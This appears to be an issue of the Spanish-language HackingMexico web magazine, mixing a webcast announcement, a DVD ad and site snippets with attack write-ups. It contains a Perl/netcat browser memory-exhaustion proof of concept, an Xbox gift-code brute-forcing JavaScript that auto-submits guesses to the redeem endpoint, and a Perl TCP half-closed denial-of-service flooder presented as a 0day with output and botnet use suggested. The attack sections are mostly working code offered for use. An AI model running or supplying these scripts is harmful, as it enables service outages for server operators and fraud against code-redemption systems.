
Despues de una breve ausencia, ya esta listo el Webcast numero 6, donde les mostramos varios avances del proyecto HackingMexico, entre los cuales tenemos los Diplomados de Intrusiones ciberneticas, los DVD's, las Raspberry Pi Pentester Edition.

Se habla un poco de la explotacion Web mediante Frameworks basados en Browsers, como el Mantra, y www.exploitpack.com, tambien 4rc4c4 nos platica sobre el proyecto de Raspberry, los usos que se le puede dar, y comentamos sobre el desbloqueo de consolas como el wii y correr Homebrew

 

Implementacion incorrecta de HTTP en navegadores web pt. 1

En los navegadores web existe una completamente desestandarización en HTTP lo cual provoca que sea ineficiente la forma en la que manejan el protocolo, esto puede causar múltiples problemas de seguridad.

Para comenzar tenemos el orden de los encabezados HTTP, normalmente no debería de afectar el orden en que se envían al navegador, pero en los casos cuando se repiten estos, la cosa no es tan simple, por ejemplo si mandamos la siguiente respuesta a distintos navegadores:
 HTTP/1.1 200 OK

Content-Type: text/plain; charset=UTF-8

Date: Sun, 13 Jan 2013 02:25:35 GMT

Server: xianur0-to-me

Content-Length: 14

Content-Encoding: gzip

Content-Encoding: none

 

Segundo header
 (respuesta.txt)

# nc -vvvl 8080 > consulta.txt < respuesta.txt

URL: http://localhost:8080/

Al entrar con Chrome podremos notar que aparece el texto “Segundo header”, pero al entrar con Firefox obtenemos un: “Error de codificación de contenido”, esto quiere decir que firefox lee el primer encabezado y chrome el segundo, esto es un “hack” bastante simple, pero que podría usarse con otros fines.

Multiple Web Browsers Memory Exhaustion

 ¿Qué pasa cuando no se incluye el encabezado del Content-Length en la respuesta del servidor web?

Este encabezado le dice al navegador el tamaño de la web/archivo que se enviará, normalmente no hay problema si se omite esta debido a que el servidor web al terminar de enviar la respuesta corta la conexión, el problema es cuando no se quiere cerrar la conexión o no se termina nunca de enviar una respuesta, esto es, el navegador tendrá que ir asignando más y más memoria hasta que la página se termine de enviar, el problema sería si un atacante crea un servidor que nunca deje de enviar una respuesta, desde luego sería lógico pensar que las empresas pondrían un limite al tamaño máximo o algún otro mecanismo para detener esto, lamentablemente no es así.
 Zer0-null:/home/xianur0 # cat http.txt

HTTP/1.1 200 OK

Content-Type: text/plain; charset=UTF-8

Date: Sun, 13 Jan 2013 02:25:35 GMT

Server: xianur0-to-me

Xianur0 was here!!

 

Montamos netcat como un servidor http:
 Zer0-null:/home/xianur0 # nc -vvvl 8080 > respuesta.txt < http.txt

En cualquier navegador que entremos a esta web (http://localhost:8080) veremos el mensaje: “Xianur0 was here!! ” siendo que nunca se especificó un tamaño de respuesta el navegador interpretó que leería toda la respuesta.

Una prueba de concepto muy burda de como se puede explotar este bug es la siguiente:
 Zer0-null:/home/xianur0/lab # cat generador.pl

#!/usr/bin/perl

while(1){

print "Xianur0\n";

}

 

Zer0-null:/home/xianur0/lab # perl generador.pl | nc -vvvl 8080

Connection from 127.0.0.1 port 8080 [tcp/http-alt] accepted

GET / HTTP/1.1

Host: localhost:8080

Connection: keep-alive

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,sdch

Accept-Language: es-ES,es;q=0.8

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

En el navegador podremos ver como se llena de la palabra “Xianur0” sin fin aparente.

Y con el comando top podremos ver que chrome se come los recursos:

17862 xianur0   20   0  318m 172m  21m R     91 20.0   0:56.13 chrome

(91% CPU, 20 % MEM)

Entre más tiempo se permanezca en la página mayor será el consumo de recursos en la victima.

Navegadores probados vulnerables (cualquier versión):

Chrome
Firefox
Chromium
Lynx
Epiphany
W3m
Opera
IE ← Este es el más afectado

Pruebas de concepto:




 

By Xianur0
 

Xbox Game Hacking


var x_molder = 0;
function pushToken()
{
// CODIGO DE CANGE, CAMBIAR POR EL TUYO
var str_token = "F9?VQ-D8CQ3-XTRG3-4BDTV-B3X7W";
var charset = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ";

var new_token = str_token.replace("?",charset[x_molder]);

$('#TokenValue').val(new_token)
x_molder++;
$('#RedeemCodeMolder').click();
}

$('#RedeemCodeMolder').click(function ()
{
var postData = 'TokenValue=' + $('#TokenValue').val()+ '&__RequestVerificationToken='+ $('input[name="__RequestVerificationToken"]').val();

$.ajax({
type: 'POST',
url: "/es-MX/RedeemCode/PurchaseWithToken",
data: postData,
cache: false,
success: function(response){

if(response.indexOf("Escribe un código válido") > -1)
{
pushToken();
}
else
{
alert(response);
}
},
error: function(){ alert("Error de peticion AJAX"); }
});
});

pushToken();

By Molder Sombrero de Paja AztlanHack
 

Vulnerando TCP parte 1 (0day)

Normalmente cuando se habla de TCP y su funcionamiento, se habla de flags (SYN, ACK, etc), pero TCP tiene muchas más cosas implicadas para su funcionamiento, por ejemplo la pila TCP debe de llevar un control del estado de la conexión (ESTABLISHED, SYN_SENT, SYN_RECV, CLOSED, etc.) de modo que no todo es simplemente paquetes TCP que van de un punto a otro los que crean una conexión. La mayoría de los ataques de denegación de servicio a TCP se basan de conexiones semi-abiertas (SYN Flood por ejemplo), lo cual permite que un ataque sea “anonimo” pues se puede realizar mediante paquetes SYN con un origen (IP) diferente a la del atacante. Existe una variedad de ataques no tan documentados que se realizan mediante conexiones semi-cerradas, es decir, que requieren que antes se establezca una conexión valida, la diferencia con estos ataques es que no son tan “anonimos” porque el origen “debe” ser real (debido a los mecanismos de seguridad de TCP, seqnum por ejemplo) esto sin embargo no impide que ataque se realice mediante una botnet (quedaría la IP del zombie, no la del atacante), sin más introducción a este tema comenzaremos a explicar los ataques “semi-cerrados”:

Necesitamos un servidor TCP que nos facilite el trabajo, en este caso el servidor simplemente dormirá 10 segundos cuando reciba la cadena “sleep”, envía el mensaje “Awake!” y después de esto cerrará la conexión:
use IO::Socket;

use threads;

sub clientes {

my ($client) = @_;

while(<$client>) {

if($_ =~ /sleep/){

print "Durmiendo 10 segs...\n";

sleep(10);

}

}

print $client “Awake!\n”;

print “Cerrando conexión...\n";

close($client)

}

my $sock = new IO::Socket::INET (

LocalPort => '8080',

Proto => 'tcp',

Listen => 2,

Reuse => 1,

);

die "Could not create socket: $!\n" unless $sock;

while(my $new_sock = $sock->accept()) {

print "Nuevo cliente (".$new_sock->peerhost().") :D\n";

threads->create('clientes', $new_sock);

}

close($sock);

 

El código a simple vista no parece vulnerable, sin embargo, lo es.

 
Zer0-null:/home/xianur0 # nc -vvvv localhost 8080

nc: connect to localhost port 8080 (tcp) failed: Connection refused

Connection to localhost 8080 port [tcp/http-alt] succeeded!

sleep

^C

 

Conectamos al 8080 con netcat, enviamos la palabra sleep y finalizamos con ctrl+c (sin esperar 10 segundos) el resultado:

 
Zer0-null:/home/xianur0 # perl server.pl

Nuevo cliente (127.0.0.1) :D

Durmiendo 10 segs...

Cerrando conexión...

El servidor esperó 10 segundos antes de enviar el mensaje e intentar cerrar la conexión (que ya estaba cerrada) esto es, el servidor consumió recursos estando ya el socket cerrado, hasta ahora el ataque no tiene gracia, pero si lo realizamos a mayor escala, obtendremos resultados bastante interesantes:
use IO::Socket;

while(1){

my $sock = new IO::Socket::INET (

PeerAddr => 'localhost',

PeerPort => '8080',

Proto => 'tcp') || die("No se puede conectar!\n");

print $sock "sleep\n";

close($sock);

}

Zer0-null:/home/xianur0 # perl server.pl

Nuevo cliente (127.0.0.1) :D

Durmiendo 10 segs...

Nuevo cliente (127.0.0.1) :D

Durmiendo 10 segs...

 

Nuevo cliente (127.0.0.1) :D

[…]

Zer0-null:/home/xianur0 # netstat | grep -i CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36338         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36324         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36330         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36320         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36323         CLOSE_WAIT

tcp        1      0 localhost:http-alt      localhost:36322         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36313         CLOSE_WAIT

tcp        1      0 localhost:http-alt      localhost:36327         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36339         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36331         CLOSE_WAIT

tcp        1      0 localhost:http-alt      localhost:36317         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36328         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36319         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36335         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36334         CLOSE_WAIT

tcp        1      0 localhost:http-alt      localhost:36318         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36341         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36314         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36315         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36316         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36321         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36325         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36333         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36336         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36340         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36329         CLOSE_WAIT

tcp        0      0 localhost:http-alt      localhost:36326         CLOSE_WAIT

CLOSE_WAIT se sigue considerando como una conexión abierta, entonces ese servidor tiene en este caso algo así como 28 conexiones abiertas, en nuestro caso solo utilizamos 1 conexión por vez, lo cual es una cantidad de recursos bastante menor, en cuanto el servidor cierra las conexiones dejan de aparecer esos CLOSE_WAIT y expira... eso no es totalmente cierto, todos los sistemas que soportan TCP implementan las retransmisiones, lo cual es reenviar el mismo paquete x cantidad de veces esperando una respuesta (esto se creó debido a que puede haber perdida de datos a través de la red), el detalle es que cuando una conexión pasa a los estados CLOSE_WAIT, FIN_WAIT y similares comienza a hacer retransmisiones (intentando enviar un dato o cerrar la conexión).

¿El peligro de esto?

Supongamos que con una sola conexión logramos generarle al servidor aproximadamente 28 conexiones a medio cerrar, esto también es 28 hilos, consumiendo recursos (incluso tener una conexión abierta consume recursos pues la pila reserva un espacio de memoria por conexión), si utilizamos 10 conexiones serían aproximadamente 280 conexiones al mismo tiempo a medio cerrar en el servidor, adicional a 280 hilos que están ejecutando “sleep 10;”, adicional a todo esto tenemos la retransmisiones que según el sistema operativo (y la configuración de la pila TCP) pueden repetir hasta 15 veces (o incluso más) por defecto.

En linux podemos conocer este número mediante los archivos:
/proc/sys/net/ipv4/tcp_retries1 (min)

/proc/sys/net/ipv4/tcp_retries2 (max)

¿Se pueden hacer más eficiente este ataque?

Las retransmisiones son uno de los mayores peligros, pues si las retransmisiones llevan datos muy grandes pueden afectar nuestra banda o incluso las retransmisiones generadas por nuestro propio sistema (sí, el atacante también pueden generar retransmisiones) pueden afectarnos.
echo 0 > /proc/sys/net/ipv4/tcp_retries1

echo 0 > /proc/sys/net/ipv4/tcp_retries1

De este modo desactivamos la retransmisiones hasta el próximo reinicio.

¿Se puede corregir este “bug”?

No hay forma de corregir este ataque aun pues es un problema en la pila tcp y no se ha creado un parche funcional, además de que el problema implica a la capa de aplicación también (que es donde se ejecuta el servidor que “configura” a la pila), se pueden disminuir las retransmisiones en el servidor para disminuir los efectos, pero eso no solucionaría el problema por completo.

Otra cosa que puede ayudar es limitar la cantidad de conexiones por IP:
iptables -A INPUT -p tcp -m tcp --dport 8080 -m limit --limit 10/sec -j ACCEPT

Nuevamente esto no soluciona las cosas por completo, pero ayuda a disminuir los efectos.

Pruebas de concepto de este ataque en servidores reales:



By Xianur0
 

DVD de HackingMexico

Ya tenemos disponible el DVD oficial en el podras encontrar

  • Video Tutoriales paso a paso explicados a detalle por el staff

  • mas de 50 herramientas de Hacking, con algunas creadas por el staff

  • La revista digital




DVD 1

$100.00MXN












 
 

Averigua donde se tomo una foto

A través de esta sencilla aplicación creada por (@c0dersoul), podemos extraer las coordenadas GPS de una foto, y hacer uso de las API de google maps, lo cual nos revela la posición exacta de donde fue tomada.

http://www.hackingmexico.mx/geolocalizacion/


Asi que cuidado con esas fotos de baño que se toman y andan publicando en todos lados.
 

Clusters Virtuales para mitigacion de DDoS

Aqui les dejo un video tutorial de una parte que se vera en el Diplomado de Intrusiones Cyberneticas y Seguridad Ofensiva

Se muestra como crear clusters virtuales mediante VSA para poder tener alta disponibildad y redundancia, esta tecnica es utilizada por empresas de mision critica como FBI, eBay, NASA, etc. Pueden bajar una version de prueba del software aqui

http://h18006.www1.hp.com/products/storage/software/vsa/index.html



 

Radio Leet en tu pagina

Si quieres que tus visitas escuchen la radio en pagina web, solo tienes que agregar este codigo, se usa un reproductor en Flash para que sea compatible con todos los navegadores
<script type="text/javascript" src="http://descargas.profesionalhosting.com/servidores-de-radio/swfobject.js"></script>
<div id="player" align="center"> <font size="2"><a href="http://www.macromedia.com/go/getflashplayer">Bajar reproductor flash</a> Para escuchar esta radio. </font></div>
<script type="text/javascript">
var so = new SWFObject('http://descargas.profesionalhosting.com/servidores-de-radio/mediaplayer.swf', 'streambaby', '200', '20', '7');
so.addVariable('type','mp3');
so.addVariable('file', 'http://radio.hackingmexico.mx:8000/;listen.pls');
so.addVariable('autostart','true');
so.addVariable('backcolor','0x000000');
so.addVariable('frontcolor','0xFFFFFF');
so.addVariable('lightcolor','0x58473F');
so.addVariable('screencolor','0x999900');
so.write('player');
</script>
 

Mega antes Megaupload Lanzamiento 19 Enero

Para apoyar la libre transferencia de archivos HackingMexico se convierte en partner de Mega coolaborando con 1 nodo de almacenamiento de archivos, todo el contenido sera encriptado por lo cual solo la persona que sube los archivos tendra la llave para poder desenciprtarlos, si deseas ser partner puedes contactar a Mega y proponer tu nodo

http://mega.co.nz/#/hosting

El servidor estara en territorio Mexicano, donde la legislacion  no afecta, ademas de estar sobre el dominio .mx para evitar problemas con legislaciones americanas.